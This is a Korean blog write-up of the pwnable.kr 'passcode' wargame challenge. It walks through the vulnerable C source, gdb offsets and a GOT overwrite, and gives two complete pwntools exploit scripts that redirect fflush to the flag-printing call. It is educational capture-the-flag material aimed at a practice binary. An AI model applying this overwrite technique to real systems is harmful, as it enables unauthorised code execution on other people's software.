pwnable.kr (passcode)

c0wb3ll ㅣ 2020. 12. 3. 08:56

pwnable.kr (passcode)

다음과 같이 scp 명령어를 이용하여 파일을 받아오자.

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

소스코드는 다음과 같다.

해당 소스코드에 이상한 점을 찾아보자.

 

우선 passcode1, passcode2를 입력받을 때 이상한 점이 존재한다.

정수를 입력받는데 변수에 &이 붙지 않았다.

 

따라서 입력을 하면 passcode1은 선언할 때 초기화하지 않았기 때문에 passcode1에 입력되는 것이 아니라 passcode1의 더미값에 입력을 하게 된다.

 

login()부분을 봤으니 이제 welcome() 부분을 보자.

 

welcome()에 scanf("%100s", name)을 이용해 passcode를 덮을 수 없을까 생각해보자.

다음과 같이 함수 두개를 연속해서 호출시킨다.

 

그럼 다음과 같은 과정을 거칠것이다.

다음과 같이 ebp 위치가 바뀌지 않을 거라고 예상할 수 있다.

 

예를 들어 name의 위치가 ebp-100이고 passcode1의 위치가 ebp-70 이면 name에서 입력받는 크기인 100 이상 차이가 나지 않기 때문에 name에서 덮어둔 데이터를 그대로 사용할 수 있게 된다.

 

gdb를 이용해서 까보도록 하자.

name의 버퍼 위치는 ebp-0x70이다.

passcode1의 버퍼 위치는 ebp-0x10이며, passcode2의 버퍼 위치는 ebp-0xc이다.

계산을 해보면 ebp-0xd까지 덮을 수 있으므로 passcode2는 덮지 못하지만 passcode1은 덮을 수 있다.

실제로 A를 100개 입력하면 scanf의 arg[1]이 0x41414141로 바뀌는 것을 확인할 수 있다.

 

자 그럼 이걸 가지고 무엇을 할 수 있을까?

 

우리는 이걸 이용해서 scanf로 입력하고 싶은 장소를 정해줄 수 있다.

 

따라서 우리는 이걸 아래와 같이 이용할 수 있다.

scanf(시스템 주소, fflush@got)

 

fflush@got를 login()함수의 system("/bin/cat flag")로 옮겨줌으로써 fflush가 실행될 때 system("/bin/cat flag")를 실행시킬 수 있다.

 

위와 같이 한다 했을 때 우리가 알아야 할 것은

  1. fflush@got 주소
  2. system("/bin/cat flag") 주소의 10진수 값

2 과정에서 10진수 값으로 필요한 이유는 scanf("%d")로 입력 받기때문이다.

그럼 구하러 가보자.

fflush@plt 주소는 0x08048430이였고 우리가 필요한 fflush@got주소는 0x0804a004였다.

그리고 login()에 존재하는 system("/bin/cat flag")주소는 0x080485e3이다.

10진수로 변환하면 134514147이 된다.

해당 정보들을 가지고 payload를 짜보면 아래와 같다.

from pwn import *

fflush_got = 0x0804a004

payload = b'A'*96
payload += p32(fflush_got)

payload2 = '134514147'

p = process('./passcode')
# s = ssh('passcode', 'pwnable.kr', password='guest', port=2222)
# p = s.process('/home/passcode/passcode')

p.sendline(payload)
p.sendline(payload2)

p.interactive()

물론 위와 같이 계산기로 계산하기 귀찮은 사람들은 아래와 같이 짜도 된다. 나도 처음에는 아래와 같이 짯다.

from pwn import *

fflush_got = 0x0804a004
get_flag = 0x080485e3

payload = b'A'*96
payload += p32(fflush_got)

payload2 = str(int(get_flag))

p = process('./passcode')
# s = ssh('passcode', 'pwnable.kr', password='guest', port=2222)
# p = s.process('/home/passcode/passcode')

p.sendline(payload)
p.sendline(payload2)

p.interactive()

다음과 같이 간이 flag를 생성시켜두고 시도를 해보았다.

성공적으로 flag가 나온것을 볼 수 있다.

이제 ssh접속을 해서 풀어보자.

삽질

갑자기 문득 scanf에 &가 붙고 안붙고에 어셈 차이가 궁금하여 실험하는 삽질을 했다....

둘다 ebp-0x10을 가지고 오긴 하지만 mov로 값을 가지고 오냐 lea로 주소를 가지고 오냐의 차이가 있었다.

 

C언어 공부할 때 이론으로 들었던거라서 알고 있었는데 직접 까보니까 뭔가 신기한거 같기도 하고 아닌거 같기도하고....

 

어셈을 자주 안보다보니 ebp-0x10에만 집중하여 lea랑 mov를 보질 않아서 무슨 차이가 있는지 한참 헤맸다....

이런 삽질 줄이도록 하자..

 

신기했던 점

아 그리고 신기한 점이 있었는데 32bit 환경에서는 push를 이용하여 스택에 쌓아두고 함수를 호출하는 것만 봤는데 이번에는 push명령어가 아닌 mov DWORD PTR [esp]를 이용하여 스택 최상단에 값을 쌓아두는 것을 봐서 개인적으로 신기했다.

Reference

https://blackperl-security.gitlab.io/blog/2016/03/07/2016-03-07-pltgot-01/

https://blackperl-security.gitlab.io/blog/2016/03/08/2016-03-08-pltgot-02/